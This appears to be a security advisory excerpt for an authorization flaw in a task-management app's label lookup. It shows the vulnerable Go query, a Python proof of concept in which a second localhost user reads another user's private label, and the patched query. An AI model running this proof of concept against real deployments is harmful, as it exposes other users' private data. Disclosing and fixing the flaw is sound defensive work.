Python EUVD-2026-21420

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
    Or(cond).
    And("labels.id = ?", l.ID).
    Exist(ll)

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
                    json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
                     json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
                    json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
             json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}")
# 200 - should be 403
if r.status_code == 200:
    data = r.json()
    print(f"Title: {data['title']}")
# CONFIDENTIAL-REVENUE
    print(f"Creator: {data['created_by']['username']}")
# labeler

GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where(builder.And(
        builder.Eq{"labels.id": l.ID},
        builder.Or(
            builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
            builder.Eq{"labels.created_by_id": createdByID},
        ),
    )).
    Exist(ll)